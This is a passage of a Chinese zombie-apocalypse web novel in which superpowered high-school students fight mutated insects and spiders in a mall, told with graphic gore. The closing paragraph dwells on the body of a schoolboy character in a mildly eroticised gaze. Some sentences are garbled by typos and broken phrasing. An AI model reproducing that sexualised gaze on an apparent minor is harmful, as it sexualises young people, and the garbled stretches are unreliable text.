“你们出去等我。”乌珩将刀转了半圈,将刀柄朝着林梦之递过去。 “我草/你大爷没事吧!" “我大爷没事,出去。林梦之接走刀,拖着乌芷飞快消失在了乌珩眼前。乌珩倚靠着仓库的墙,慢慢滑坐下去。他拉开夹克的拉链,鲜血染红了他里面的白衬衫,他纤长的五指按住扣子,一颗一颗解开,他低头,看见心脏的位置赫然五个新鲜的血洞。虞美人的根长在他的心脏里,就算丧尸刚刚掏心成功,他也能抢回来重新将心脏栽回去。只是移来移去,太伤他跟虞美人的原气,更别提,刚刚只是被攥了一下,他就有些受不了,但他不愿意在林梦之和乌芷面前表现出来乌珩拿出纱布,擦掉了流出来的血,还擦干净了刚刚拿到的木系能量核,他握着能量核,直到能量核的绿光在他掌心彻底消失。他仰头,使后脑勺靠着墙,杏眸半阖,力量大量流失后的空虚感随着新的能量灌入,逐渐好转。走出商店时,他恢复成之前的样子,一派淡然安宁。守在店门两边的林梦之和乌芷立刻就凑上了前,“怎么样?没事吧?"乌珩摊开手掌,掌心里一颗红色的能量核红得耀眼。“这是我昨天出门打下来的一颗火系能量核,我用不了,给你用。“这不太好吧.…”林梦之已经不是第一次目睹乌珩出手,现在世道危机四伏,他更希望把这些装备用在自己身上。 乌珩却道:“我不想以后被你拖后腿。 林梦之小心地将能量核装进口袋里,“你刚刚受了伤,我帮你拿书包。 乌芷捧着一罐可乐,“哥哥喝可乐,喝了快乐。 乌珩唇角一弯,“我现在很快乐。”说完,他转身朝前走去,将两人抛在了身后,X反应最快,马上摇着翅膀跟上。 绿萝比之前仙人掌的能量核要强好几倍,乌珩此时被充满了电,饥饿感消失,心情都不由得好了起来。 又走了约莫半个小时,三人才终于到了商场。 此时,这处汉州面积规模最大的购物中心看起来与平时别无二致,它以造型的奇特闻名全国,从远处看去,它是用大大小v小无数个三角体堆砌而成的三栋楼,数万块玻璃在日光底下散发折射处刺眼的光芒 但乌珩和林梦之作为异能者,都看见了在玻璃后面游荡着的丧尸。 不过可能是因为危机爆发时的时间太早,购物中心大部分都是工作人员,所以楼里的丧尸数量一眼看过去并不多, 铛一声,大门上的锁落了地,林梦之悄无声息推开门,他回头张口,就在乌珩以为对方要说注意安全时,他耳边响起的是: “阿珩,你穿板鞋还是帆布鞋?" ".…” 乌珩说了句随便。 乌珩常年穿的都是帆布鞋,因为帆布鞋耐穿,只要大小合适,就可以一直不用换。 少年现在脚上这双白色帆布鞋还是三年前买的,鞋带被掉色的校服裤子染成了灰蓝色,白色鞋帮也明显泛黄,但他的鞋都洗得很干净,就跟他这个人给人的感觉一样。 乌芷抱着乌珩的手臂 “哥哥你穿皮鞋吧,像爸爸穿的那种,真皮皮鞋。 乌珩没有理睬她,而是推开她,右转进了一家大品牌的护肤品专柜。 他不看成分,只看价格,收了几套五位数的套装进空间。 “又是给那傻子的?”林梦之趴在柜台上问道。 “嗯。 “至于吗?这都什么时候了,还护肤,你自己都不用这些玩意儿。”林梦之说着,随手捡了支八百多块的洗面奶揣进了口袋里。 乌珩走出专柜,轻声道:“天生丽质,不需要。 “不是,”林梦之不可置信,“我以前怎么没发现你还挺自恋的,虽然说我们都有自恋的资本,但你放在嘴上说,你让那些丑人怎么活? 他话音刚落,走廊对面就出现一只穿着保安服的丧尸,他四肢扭曲,浑身没有一外皮肤是好的,姿势歪歪扭扭地朝他们走来. 乌珩正要过去解决它,乌芷一步上前,“哥哥,我去吧。 林梦之大骇,“你去?!!!你听见你哥说你丑你也没必要自寻死路吧!" 乌芷眼睛不由自主瞪圆了看向乌珩,“哥哥你说我丑了?!“ ".没。”乌珩选择不承认,他将林梦之的刀丢给乌芷,“去吧,记得砍它的脑袋。 乌芷抱着布娃娃,攥着刀,朝丧尸小跑过去。 她在丧尸面前一个急刹车,迎面扑来的腐臭和对方变形腐烂的面孔让她想要立马闭上眼睛 可是她不想给哥哥拖后腿。 乌芷举刀,用力刺穿了丧尸的头颅,她深吸一口气,拔了刀扭头就跑,身后的丧失摇摇晃晃,摔倒在地。 乌珩靠在柱子上,他的神情还没有林梦之紧张,但乌芷只跑向他, “哥哥,我成功了!" “嗯,做得很好。”乌珩摸了下乌芷毛绒绒的头,不动声色地朝她身后的走廊看去,很快,他眸子一眯。 丧尸的尸体不见了。 商场里面有古怪。乌珩立马便想到。 “梦之,你跟乌芷在这里等我,我过去看看。”乌珩从乌芷手里拿走刀,X也从林梦之的肩膀跳到了他的肩膀上。 平日里的购物中心有多热闹喧哗,此时就有多冷冷清清。 光可鉴人的地砖映出少年高挑单薄的身形,他的每一步,都产生了微弱又极有存在感的回音 走廊的地上有一条长长的拖痕,污血流得断断续续,痕迹也断断续续 乌珩没有一直跟着痕迹走,他在痕迹转角时便停下了脚步,并且还往后退了两步。 浓黑的睫毛簇拥着他乌黑的眼珠,他在此处感受到了极强的能量波动。 没多想,乌珩转身离开了这里,但他没去找林梦之和乌芷,而是找到了购物中心的导览图 他安安静静地站在导览图前,从最上面往下看。 餐厅服饰文化.娱乐.乌珩的目光一直波澜不惊,直到他看到负一楼角落里的三个字,才微不可见地皱了下眉。负一楼有一个大型的爬虫馆。想也不想,乌珩转身便朝林梦之和乌芷他们所在的出口走去,他步履生风,文文气气的脸在冷下来时竟然锐利逼人他的身影终于出现在了走廊上。林梦之跟乌芷百无聊赖地在玩石头剪子布,看见乌珩,林梦之和乌芷脸上都露出了喜色。乌珩却神色凌厉,罕见地大声朝他们喊,“过来!他的声音在空荡荡的室内回荡着,林梦之和乌芷虽然不明情况,但就是因为不明情况,所以他们马上捡起包朝对方跑过去“啊!”乌芷刚抬脚就被什么东西拽住脚腕,重重摔倒在地。林梦之弯腰去扶她,然而,当他看见了圈住乌芷脚腕的是什么东西之后,他咽下一大口唾沫,浑身僵硬。是蜥蜴。这种蜥蜴他以前见同事养过,但也就一二十厘米长,而且性格温顺,眼前的这是什么鬼啊啊啊啊啊啊!这当然也是蜥蜴,但却是一只体型比成年男人还要大一倍的巨型绿皮蜥蜴,一对拳头大的眼睛在头顶上方凸起,时不时转动一下。圆鼓鼓的腹部说明它在不久前刚刚进食过,它虽然在距离他们几米远的地方,但却用舌头锁住了猎物。它缓缓匍匐向前,逐渐拉近与猎物的距离。林梦之没有再犹豫,对着那条湿漉漉的舌头就放出一把火,变异蜥蜴被烧到之后缩回了舌头,林梦之一把抄起乌芷就往前跑.乌珩也正在跑向他们,他摸住林梦之的手臂将他推至一旁,藤条如箭矢般朝蜥蜴刺去。蜥蜴有了经验,它背身用坚硬的后背挡下了攻击。乌珩手腕一转,藤条马上改道刺向蜥蜴的眼睛。啪啪两声,蜥蜴的眼睛接连爆开,它发出刺耳的嘶叫声,巨大的身躯在原地疯狂滚动,将周围的柜台全部撞翻在地。“哥哥.…”乌芷被抄在林梦之的臂弯中,她愣愣地抬头,也不敢哭,声音直颤,“我好像又被抓住了。"乌珩和林梦之同时回头,身后的墙壁上一左一右正趴着两只体型更大的绿皮蜥蜴,它们同时用舌头勒住了乌芷的左右脚腕,乌珩提刀刚要砍下去,变异蜥蜴迅速收了舌头。它们摆动着巨大的尾巴,直勾勾地盯着眼前的活物。乌珩声音冷静,“我倒数到1,我们就从左边的楼梯上去,开跑之后,找到密闭空间躲起来。林梦之前所未有的紧张,因为他知道,一旦他们开始动,面前这两只变异蜥蜴肯定也会扑向他们。 将。 2 “1,跑!" 林梦之扛着乌芷一个漂移上了左边的楼梯,不要命地往前跑 可当他上了楼,却发现乌珩没跟上来,林梦之往下看,那两只变异蜥蜴被一群藤条缠在原地,无能狂怒,喉咙里发出嗜血的鸣叫声。 林梦之没有松懈下来,他马上就看见了从四面八方汇聚而来的奇形怪状的东西。 “阿珩!快上来!他妈的好多虫子!全是虫子!!! 乌珩收回藤条,身后立马有重物落地声,他没敢回头,一脚踢开朝自己扑来的一只半人大的肥胖鼠妇。 除了蜥蜴,还有其他变异爬虫不断朝他吐出长而灵活的舌头,乌珩手中的藤条随意一丢,缠上了二楼一盖灯,藤条使劲,他整个人被拽出虫子堆,直接摔到二楼的地板上。 少年吃痛呻吟,“下回轻点。 藤条摸了摸少年柔软纤细的腰肢,愧疚坏了的样子。 “先找地方躲起来,它们很快就会追上来。”乌珩说道。 三人跑上三楼,中间的三根巨大圆柱上停留着几只叽叽哇哇叫唤的巨型蠡斯,正抖动着翅膀蓄势待发,而密密,麻麻的变异鼠妇爬满了一二楼的每一处角落。 乌珩跟林梦之乌芷跑散,他被几只不仅会跳跃还会飞的蜥蜴追着,终于逃进一家服装店的仓库。 他利落地锁上门,变异蜥蜴却还不死心地拼命撞着门,直到发现撞不开,外面才消停。 乌珩背靠着门低着头,半响,他才平复下来心跳。 然而,当他掀起眼帘看见对面货箱上坐着的男生时,脸上的表情彻底僵住 “嗨。”谢崇宜五官端庄轻傲,语气却揶揄,笑容还友好,还朝眼前虽然形容狼狈却貌美的少年挥挥手。 26、第26章 乌珩以为自己在做梦。 食物居然有自己送上门来的一天。 他没说话,暗自思忖着自己与谢崇宜之间的实力差距。 有点大。 谢崇宜从货箱上跳了下来,“你怎么会来这儿?" “你呢?" “我说我们被困在这儿了你信不信?”谢崇宜神色轻松。 “不信。”乌珩看着对方,没在对方脸上找到半点被困的焦躁与窘迫。 谢崇宜总爱凑近了与乌珩说话,“不信就对了。“ H “我跟梦之来购物中心是想拿点东西然后去学校找你汇合,但忘了购物中心里的爬虫馆。"乌珩蹙着眉,他以前就不是很喜欢虫子,现在那种厌恶的情绪莫名更甚。 谢崇宜抓到了重点,“你的梦之呢?” “跑散了。”乌珩心底不是很担心,林梦之是火系异能,火当得上大自然界几平全部生物的天敌,乌芷跟着他,反倒比跟着自己安全 乌珩看这仓库面积也不大,不像是能藏人的样子,便追问,“班长,你一个人来的?" “不是,但是也跑散了。”谢崇宜将乌珩推到一旁,将耳朵贴在门上,接着目光落在乌珩的脸上,压低声音道:“它们还在外面。 乌珩不由自主屏息。 “你刚刚都看见了些什么爬虫?”谢崇宜问道。 乌珩垂眼想着,“蜥蜴,鼠妇,鑫斯,但每一只鑫斯的颜色都不太一样,其他的我不认识。 “地下一楼的爬虫馆有两千多平,除了你说的这些,应该还有蜘蛛,蚰蜒,马陆等,还有蛇。”谢崇宜徐徐道,“它们已经很久没吃东西了。 乌珩不解,“它们不是同类,为什么不能互相为食?" “你觉得我知道?”谢崇宜语气微顿。 乌珩下意识就想点头,但头还没来得及点下去,下巴就被谢崇宜的手指给抬了起来, “我不知道。”谢崇宜微微一笑。 “喔。”乌珩将头偏过去,“你们什么时候来的这里? "昨天。" 谢崇宜离开门边,他又坐上货箱,还打了个哈欠,“作天跟他们一起进来也是被一群跟追着咬,刘东明还被两只变异的巨人守官渐成了碎片,本来打算等它们物房回巢之后我们再悄情离开,没想到你们又来了,这回它们计不 会那么轻易退回地下一楼了。 乌珩依稀记得班里的确有个姓名为刘东明的男生,但他记不住对方具体的样子,他沉默了会儿,问:“除了刘东明和你,购物中心还有几个人?" “六七个吧。 “他们都有异能?" “有两个没有。 乌珩不再说话。 谢崇宜就着箱子就躺了下来,“我先睡了,有事叫我。 乌珩没有坐上箱子,他坐在了地上,脑海里一会儿是刚刚那群变异了的虫子,一会儿是谢崇宜吃起来的口感跟他闻起来的味道能不能成正比。 但眼下,口腹之欲可以往后放一放。 同楼层里的另一家品牌店的仓库。 林梦之也遭遇到了跟乌珩同样的情况,只不过乌珩面对的只是一个,他面对的是一群。 “哈哈,哈哈,我叫林梦之,后边是我妹,你们怎么称呼?”身处末世当中,林梦之不会相信除了乌珩以外的任何人,他说话的同时,将乌芷挡到了身后, 窦露甩着刀,“卖露。 “薛慎。”男生推了下眼镜。 "行不更名坐不改姓杜遥远!" “黄杉。 "李束。’ “沈平安。 “你们怎么也在这儿?”放在以前,在哪儿碰见一群人都不奇怪,可现在是末世,林梦之跟乌珩一路上就没见过几个活人 窦露抓抓头发,“想进来找点吃的,没想到这里是个虫子窝,老娘最怕虫子了。 “那你们什么时候被困在这里的?”林梦之又问。 “昨天。”李束道,“你们为什么会进购物中心?" 林梦之不好意思道:“我发小想来拿点物资,我是想穿名牌儿。" "”窦露嗤笑一声,昂起头,觉得此紫毛大概跟杜遥远是同一类人。 林梦之这时候才注意到女生身上的衣服是汉州一中校服,跟乌珩常穿的几身校服一样,都是红黑配色。 其实汉州几所高中的校服虽然款式不同配色不同,但在丑上面却高度一致,要不是乌珩穿过,林梦之也不可能认得出。 “你们是一中的?" “你也是?”卖露不再理人后,应声的人就成了杜遥远。 “我不是,我发小是。” 杜遥远:“你发小什么名儿?" “乌珩。" 对面或坐或躺的几人都同时抬头看向了林梦之。"乌珩?!你是说那个,”杜遥远两步跳到林梦之面前,手舞足蹈,“就是那个三棒子打不出一个屁,说话娘们唧唧的小白脸?“牛逼啊,他居然也还活着,我还以为像他那种人在末世会是死得最快的。林梦之脸上碰见同类的兴奋迅速冷却,他面无表情看着眼前的杜遥远。“小心!”一直没说话的薛慎突然厉声道。一簇火焰在瞬间照亮了仓库里每个人的脸,还没反应过来的村遥远被薛慎一脚踹翻,他扬手,一个直径超一米的水盾结结实实地挡住了身后所有人。杜遥远躺在地上,目瞪口呆地看着水火相对的两人。林梦之余光扫向他,用一只手朝杜遥远丢了个火球出去。道快到使人看不清脸的人影飞过来对着杜遥远又是一脚,杜遥远哎购卧棤着飞了出去,四仰八叉地嵌在墙上,而他刚刚躺过的地面,一个冒着白烟的黑洞赫然出现,林梦之的目光与眼前的男生对上,对方镜片后的视线波澜不惊,脸上的神态也轻松。他不觉得对方有多强。他只能肯定,对方比自己强。林梦之收了手,薛慎身前水盾随之消散,他勾起嘴角,“火系异能?不错。“管你几把事,多管闲事。”林梦之又不是真傻子,他一眼就看出自自己出手之后,仓库里的这几个人眼神都变了不少,他觉得世道真是变了,他不知道这是好还是坏,不过他现在也没心思想那么多,他朝坐在墙角里擦鼻血的杜遥远看过去,“死黄毛以后给我把嘴巴放干净点。杜遥远虽然不忿,却没再作声。窦露在旁边笑得幸灾乐祸。林梦之带着乌芷坐到了离他们最远的角落里,乌芷一直没有说话,她一直瞪着杜遥远,直到林梦之在她眼前打了个响指。“怕不怕?”林梦之问她。乌芷摇摇头,“我来过这里,有些虫子我还认识呢,我还给它们好多都起了名字,小红,小黑,小绿,小紫“梦之哥哥,我想哥哥了,我哥哥会有事吗?”乌芷抬头眼巴巴地看着林梦之。".我不知道。”林梦之虽然知道乌珩厉害,可外面那些虫子多得能把人直接淹了,他一身的鸡皮疙瘩到现在都还没下去。乌芷低下头,抽噎了两声,一直窝在她头上的X感觉有点不太稳,站起来把窝重新抓了抓,又坐了下去。“别哭了,喝可乐,我给你开罐可乐。”林梦之从乌芷手里一直没放的购物袋中拿了罐可乐,他手指拉开拉环,可乐的气放出来,仓库里响起刺——的一声。顿时,对面的那些人都朝他们俩看了过来,目光灼灼。他们已经一天没吃没喝了。林梦之翻了个白眼,把可乐递给乌芷。天色逐渐暗了下来,门外唧唧哩哩的虫鸣就没有停歇过,它们一直没有回巢。乌珩躺在几件毛衣临时铺的地铺上,他枕着手臂断断续续地睡了好几觉,再醒来时,仓库墙壁上那扇小窗外已经是一片黑暗天黑了。少年坐起来,才觉腹中饥饿难耐。他下意识去找寻谢崇宜的身影。谢崇宜不知道什么已经醒了,身影已经不在货箱上,乌珩眉找了一圈,一回头,对方就靠坐在离他很近的地方。“我们得出去了。”谢崇宜坐在这儿一直等到乌珩睡醒之后才开口说话。“现在?”乌珩从地上爬起来。 “出去看看情况。”谢崇宜手指在地上摸了摸,抓起一把菜刀,“你的刀别忘了。 乌珩接了刀,“你.“ “跟我身后。”黑暗中,谢崇宜转过身,乌珩只能看见他肩背宽阔模糊的轮廓。乌珩攥着菜刀,在想要不要就趁现在。咔嚓。仓库的门应声打开了一条缝,店外三根石柱上数不清的红瞳正在闪闪烁烁。谢崇宜很快又将门关上,他回过头,“要不你走前面?"乌珩想立刻砍死谢崇宜。似乎觉察到乌珩呼吸一滞,谢崇宜用带着笑意的声音说道:“开玩笑的。可,三国乌珩没多作停留,跟在对方身后。两人轻手轻脚走在一排排衣服货架间,乌珩拎着刀,发现地上有不少黏脚的东西,他小心地蹲下来,用藤条沾了一点,又湿又凉,藤条被恶心得把自己塞进旁边的衣服堆里拼命窜个不停,直到将自己擦干净。“忘了,你应该也不喜欢虫子。”乌珩喃喃道。“乌珩,跟上来。”谢崇宜发觉少年掉队,语气不快。乌珩收起藤条,他跟上谢崇宜,低声问:“班长,什么虫子在地上爬过去之后会留下湿哒的东西?"“蜗牛?”谢崇宜语气不确定。“爬虫馆有蜗牛?"谢崇宜还没有回答,乌珩却在问出口的下一秒知道了答案。两人的对面,一只半人高的蜗牛正窸窸察窣地在拐弯,它驮着一个尺寸巨大的棕色壳,两对触角前后左右摆动,彻底与他们面对面时,它触角滞了滞。乌珩的视线从变异蜗牛的壳移动到它柔软雪白的腹部。好吃吗这个?店内不止一只蜗牛,乌珩视线一扫,发现就连店内的墙壁与天花板上都黏着不少,它们腹部蠕动时,发出咕叽咕叽的声音,是一种很适牙口不好的人吃上一口的听感。乌珩手掌垂在身侧,一条柔软的藤条沿着货架地下边缘溜了一圈,找到了一只落单的变异蜗牛。藤条像蛇一样爬上一只蜗牛的壳,探着梢找了找,稳准狠地插进了蜗牛壳上面的出气孔。几秒钟之后,蜗牛柔软潮湿的腹部忽然往中间蜷缩,它缩回壳里,殊不知那条竹叶青一样的青藤早就已经候在其中。藤条给乌珩带回来了一颗颜色极淡蓝色能量核。乌珩感受了一下,发现是水系的,他暂时用不上,随即收了起来。谢崇宜的手掌轻轻搭在乌珩的肩膀上,将他带离了蜗牛的爬行路线上,“蜗牛视力一般,主要靠嗅觉和触觉,它们应该已经闻到我们的味道了,让它们找,我们出去。说着,谢崇宜手掌落在了乌珩的后腰上,他轻易一握,领着乌珩朝外面带。乌珩差点被带进谢崇宜怀里,谢崇宜身上清新微甜的味道刺激得他瞳孔一闪,黑瞳在瞬间洇红。谢崇宜带乌珩躲在了三楼中间的客服中心柜台下面。“乌珩,你的打算是什么?”男生声音不带情绪地问。''离开这里。”乌珩想都没想便说。''但是这里有很多变异动物。“班长你想说什么?"半晌,谢崇宜抬手使劲揉着乌珩的脑袋,他的唇也贴到了乌珩的耳边,“难道你不想拿下爬虫馆?"乌珩并没觉得自己跟谢崇宜的距离有什么问题,也没有感到不适,他甚至主动往对方怀里贴了贴,仰头说:“可是我怕虫子。"你的能力是什么?"谢崇宜唇沿着乌珩耳廓缓缓往下,最后停留在了乌珩颈项边,“别告诉我你是普通人,乌珩,我在你身上感受到了很强的能量波动。乌珩讶然,“啊,是吗?"谢崇宜夜间视物不受影响,将对方做作的表情尽收眼底,头一次生出了将一个人蹂躏至死的想法。没有犹豫,谢崇宜直接揽抱着乌珩将他推出了客服中心,“那些盒斯送你了。“乌珩不会骂脏话,他张了张嘴,想着,他迟早一定要把谢崇宜给吃得骨头渣滓都不剩,现在就当他保护自己的食物了。那些螽斯似乎还在休息,只顾发出一些唧唧的声音,没有察觉到远处的人类。少年蹲下来,他手掌触地,藤条如浪一般无声朝中心的三根石柱袭过去。它们爬行得极快,半点声音都没有发出,植物本身又没有活人气息,在一只螽斯扇动羽翅时,藤条已经来到了它的身后噗呲,一只螽斯被直接捅穿,最先发起攻击的明显是主干,它有了动作之后,数声螽斯被穿透的声音响起。螽斯群终于反应过来它们蹲守的猎物出现了,它们振着漂亮到令人眩晕的翅膀,用口器和镰刀一样锋利的尖刺对藤条发起反击。乌珩面白手黑,沿着螽斯口器一插到底,一根藤条多的时候能串七八只-只只螽斯从空中重重摔落至地面。乌珩看着远处的绞杀现场,感叹幸好下午他取到了变异绿萝的能量核,不然美人根本完成不了这样的任务量.谢崇宜静静地看着乌珩。乌珩有一种极具蛊惑性的脸,他寡淡清白的脸不具有任何攻击性,总让人误会他可以被任意践踏.这样一张脸下面,本性竟然是嗜血。无法引诱他人走上天堂,却能轻易勾着人步入地狱。谢崇宜喉头攒动,他就知道自己没有看错乌珩。他们是同类。外面的动静又引起了不少爬虫的躁动,但一楼满地的鑫斯尸体明显误导了它们,群虫从四面八方朝一楼迅速移动,羽翅群振的声音震耳欲营,而喻噏声更是令人头皮发麻。乌珩坐在柜子下面,额前碎发微湿,嘴唇微张,双眼也微微失神。看着他这副样子,谢崇宜手指莫名地有些痒。 “你是木系异能?乌珩回神,“不是。他否认了谢崇宜的猜测,但也没有说出自己的能力,谢崇宜也没有再问。此时,一道声音突然在客服中心的入口响起。啡折条颜色发黑的长条状物体顺着入口伸了进来,伴随着它的出现,沉重的呼吸声和动物腥味也出现了,它吐着舌头,脑袋在最后才探进来。这是一只长鼻子蜥蜴。它的大部分身体都进不来,因为它体型太大,前肢又过于粗壮,只能将脑袋送进来巡视它先看见了谢崇宜。然而,还没等它产生下一步动作,谢崇宜抬手,手指轻握,一道骨裂声响起。嘶啦乌珩的脸上被溅了几滴血,他下意识闭上眼睛,再睁开眼睛时,变异蜥蜴已经被谢崇宜从长鼻子开始,对半劈开,一直到脑袋才停止分叉。谢崇宜放下手,淡淡道:“如果它们全都能一只一只来送人头就再好不过了。"剖出变异蜥蜴的能量核后,谢崇宜跟乌珩两人走出客服中心,站在三楼往下看,数不清的变异爬虫正聚集在蠡斯的尸体堆旁边进食。“我们要先找到他们,仅靠我们两人,,”谢崇宜拉着乌珩的手臂,想要解决这群东西,不可能。一把将他拽到自己身边“你能不能不要离我那么远?乌珩还在想着要是林梦之在的话,他说不定能烤一串盒斯吃吃,突然被谢崇宜这么一拽,他一脸懵。但谢崇宜这么主动,正好是他乐于看到的,乌珩低声说了句“对不起”,又道:“班长,你是个好人。”“异能影响了你的视力?”谢崇宜在乌珩面前一点都不装。乌珩咬了下唇,脚下忽然走不动了。谢崇宜停下脚步,看见了身旁店内一只体型大到恐怖的蜘蛛,它从门缝里吐出丝,缠住了乌珩的左腿蜘蛛的六只眼睛猩红,粗壮锋利的整胶实出味咔的声音,它几乎有一整南门那么大,几只肌肉发达的足牢牢吸附在门上,滚园的腹部一起一伏,身后店内不仅全是白花花的蛛丝,一对对红瞳也逐渐显现在其中。“你想办法弄断蛛丝,我解决它。”谢崇宜抬手,蜘蛛腹部瘪下去一节,破开一个足球大的洞。乌珩在后面用菜刀使劲割着蛛丝,嘎吱嘎吱。甚至连藤条也来帮忙,藤条使出了吃奶的力气,还崩断了一根,蛛丝也仍旧死死地捆在他的腿上。 他裤腿表面缓缓渗出鲜血,蛛丝正在收紧。 石平 里面那只蜘蛛轰然倒地, 不同于变异螽斯的味道,乌珩的血腥味扎扎实实刺激到了这个蜘蛛窝里的蜘蛛,它们为此群体出动。 几只蜘蛛夹着捆着乌珩的蛛丝将他往店里拖 乌珩反应不及,摔倒在地,蜘蛛见状,立刻加快速度收线。 腿上传来的疼痛让乌珩脸色已经惨白,冷汗如水一样沿着脸颊滑落。 他挥手,藤条如蛇一样游行进店内,蜘蛛灵活跳跃躲闪,乌珩的命中率并不低,但藤条很快就被蛛丝缠住 乌珩咬牙,用刀于脆利落斩断了几条藤。 就在他即将被拖进店里的那一刻,他身体重重地撞上了一堵硬物。 他跟蜘蛛之间,出现了一道无形的墙? 谢崇宜朝他走过来,他半蹲下身,脸色冰冷,看见乌珩的腿几乎都快要被缠断之后,他深吸一口气,用手指捋开了乌珩额前的头发,“我进去一趟,马上出来。 乌珩只来得及张口,还没发出声音,谢崇宜已经穿过了自己制造的屏障,走进了盘丝洞。 店内的蛛丝还在不断的增多加厚,变异后的巨型蜘蛛闻风而动,围绕在了谢崇宜身旁。 光! 一只蜘蛛被从墙上直接撕下来,它落地后成了几瓣,黄色的体/液淌了一地。 谢崇宜不紧不慢, “希望你们明白,就算侥幸进化,也不是你们踩在我头上的理由。 蛛丝撕破空气,只到半途,吐丝的蜘蛛轰然炸开 连着死了三只同伴,剩下的不再冷静,群体出动,一齐朝谢崇宜扑过去。 明明是被捕杀的目标,眉眼锋利的男生却更像是捕猎者。 谢崇宜矫健地跃上柜台,一脚蹬翻了爬过来的变异蜘蛛,他五指缓缓收拢,一连五只蜘蛛砰砰砰砰砰接连爆开,满地都变得湿漉漉 他头发被汗水浸湿,眉眼被洗得发亮,神色越发兴奋,下手一次比一次残忍。 啪一声,又一只蜘蛛直接被爆开了肚子,顺带爆开的还有它头顶一只水桶大的蜘蛛蛋,一大群小变异蜘蛛惊慌失措地爬向谢崇宜 谢崇宜不慌不忙,一只只踩瘪,“一只,两只,三只…… 店内蜘蛛断腿满天飞,抠出来的眼珠四处弹射,沉重的蜘蛛躯壳落地还要被男生踹上一脚,吐丝的嘶嘶声越发虚弱。 店外。 忽然,捆着乌珩腿的蛛丝一松。 拖着他的蜘蛛被解决了? 乌珩躺在外面的地上,他根本看不见店内的情况,但却能看见眼前几扇玻璃门上被溅满了蜘蛛黄黄白白的体内容物。 他坐起来,等了一会儿,才看见谢崇宜的身形从蛛网里面走出。 大概是异能使用过度,谢崇宜脸色惨白,可一双桃花眼却黑如点漆,他森寒的面容在看见乌珩的时候忽的轻轻一笑,。 “乌珩,你不知道我刚刚有多爽。" 27、第27章 乌珩被汗水刺激得眯起了眼睛,谢崇宜的身影也从模糊逐渐到清晰 他腿上的伤口往外汩汩淌血,但他却丝毫没有受影响似的,撑着地面爬了起来, "你都解决了?”他语气里含着一丝讶异。 “昂, 问题……”谢崇宜双手插兜站在了乌珩面前,“问题挺大。” ".”乌珩看向男生身后,语气淡然,“商场里的爬虫如果没有互相以彼此为食,它们现在的进化速度就不合理。" 谢崇宜点了点头,“继续。" “进化需要对战经验,能量核,以及食物,但购物中心提供不了促成进化的条件,少量的丧尸喂饱这一群蜘蛛都成问题," 乌珩抿了下唇,“购物中心有问题。 谢崇宜顿了会儿没说话,忽然就弯腰朝少年伸出手去。 乌珩下意识后退。 谢崇宜抬眼,“跑什么?我又不打人。 乌珩戒备地看着对方,苍白的脸与乌黑溜圆的眼睛使他在谢崇宜眼里看起来像一只阴气森森的小鬼。 乌珩穿的是黑色牛仔裤,染了血也看不出,但布料泛着一层黑湿润的血光。 “我们.”谢崇宜开口,他话还没有完全说出口,远处的扶手电梯发出嘎吱嘎吱的声音——有东西爬上来了。 乌珩甩了下手,绿色的藤鞭应声而出,全然忘了自己有一条腿近乎等于断腿。 谢崇宜“欸”了声,没能把人叫回头。 他漆黑长眉往中间蹙了一下,想也没想,大步跨至少年身旁,弯腰就把人打到了肩膀上 乌珩懵了一下,接着剧烈挣扎,“放我下来!"他胃被谢崇宜坚硬的肩膀顶着,说话含糊不清,语气再凌厉听着也凶不起来 他掌心忘了收回去的藤条也从杀气腾腾变得像一条被掐住七寸的蛇,疯狂摇摆着身躯。 "你不知道打不过就跑吗?"谢崇宜另一只手从店里拖出一只变异蜘蛛尸体丢到身后挡住了爬上来的生物的视线,打着乌珩就钻进了一家服饰品牌的员工休息室,途中还没忘顺手拽了条牛仔裤到手里。 乌珩被摔在一张单人沙发上,沙发软得出奇,他在上面爬得乱七八糟都没能成功爬起来,最后直接翻到地上才成功站起身, 谢崇宜已经将休息室的门反锁,他将掌心贴在门上,目光笔直淡漠,跟刚刚说“打不过就跑”的样子相比,判若两人 外面的东西进来了。 同样也是多足动物,缓慢谨慎地正在搜寻店里的每一个角落,它行至到了休息室的门口。 乌珩与谢崇宜对视。 它正静静地等在门口。 乌珩将气息屏住。 “pppp” “你们在里面吗?”一道紧张急促的男生声音响起,“快开门,后面有怪物追我!” pppp! “它们追上来了!” 谢崇宜懒懒靠在了门上,没打算开门。 敲门声从叩叩变成了砰砰,门外的声音也变得气急败坏。 “要死啊,让你们开门听不见?你们想死吗?" 门外的生物疯狂地撞门,“残破的世界,可悲的人类,你们把你们的救世主当成小丑,虫穴将成为你们的坟墓!" 乌珩一瘸一拐地走过去,他轻轻推开谢崇宜,手指握住门把手,开了锁,小心下压 吱呀~ 休息室的门打开了一条缝。 0届小 一个黑乎乎的东西从头顶上门探了下来,是蜘蛛脑袋,但却长着一张人脸。 “哇晒,小帅哥!" 乌珩被吓得心头一跳,抬手就是一拳打出去,那张脸晃了晃,然就现出了猩红的瞳色。 谢崇宜一脚踢上门,将门反锁。他没去责备乌珩为什么要开门,反而先注意到乌珩变得比之前更苍白的脸,“怕虫子就不要往前冲。"“怕,又不代表不能解决怕的东西。”乌珩平静下来,淡淡道。谢崇宜也没有戳穿他,而是转身在休息室开始翻箱倒柜。乌珩站在原地,“你找什么?"“员工休息室应该有最基本的止血消毒物品,那变异蜘蛛不知道有没有毒,你腿上的伤口得尽快处理。"谢崇宜在最后一个储物柜里拿出了一个小医药箱出来,“找到了。谢崇宜拎着药箱到休息室中间的茶几上,没看乌珩,“过来,把裤子脱了。"不知道是因为家境优越还是因为本身在学校被众星捧月,男生说话不自觉地就带着一股上位者气息,即使说的是让人脱裤子这种话。但乌珩不吃这一套,他不在任何人面前战战兢兢。只是,裤子该脱还是得脱。谢崇宜在一堆日常药品里找到研酒和棉签纱布绷带,又依次检查了生产日期和保质期,一回头,乌珩背对着他正在脱裤子,没受伤的那条裤服已经褪下了,他弯着腰,双手很小心地录着裹着伤口的另一条裤阻的布料。他双腿笔直纤细,甚至有些过于瘦了,还很白,但却并不弱气,唯一算得上还有肉的部位就是腿根上方那两瓣肉,弧形柔软圆润。谢崇宜低头拧开了碘酒的瓶盖,再抬眼时,他目光不自觉地放在了乌珩的小腿与脚后跟上,少年小腿肌肉绷得紧致细长,跟腱令人想到挺拔的劲竹竹节。谢崇宜眼光实际上很高,他的目中无人倒与自视甚高无关,他单纯觉得所有人都是一张差不多的丑皮囊。他对不漂亮的事物提不起兴趣,不管是男是女是人是鬼,哪怕是条狗,他都只要皮毛最漂亮,骨骼最粗壮,肌肉最发达的那一只,不过,乌珩不是狗,所以不需要粗壮的骨骼和发达的肌肉,漂亮,就够。乌珩伤在大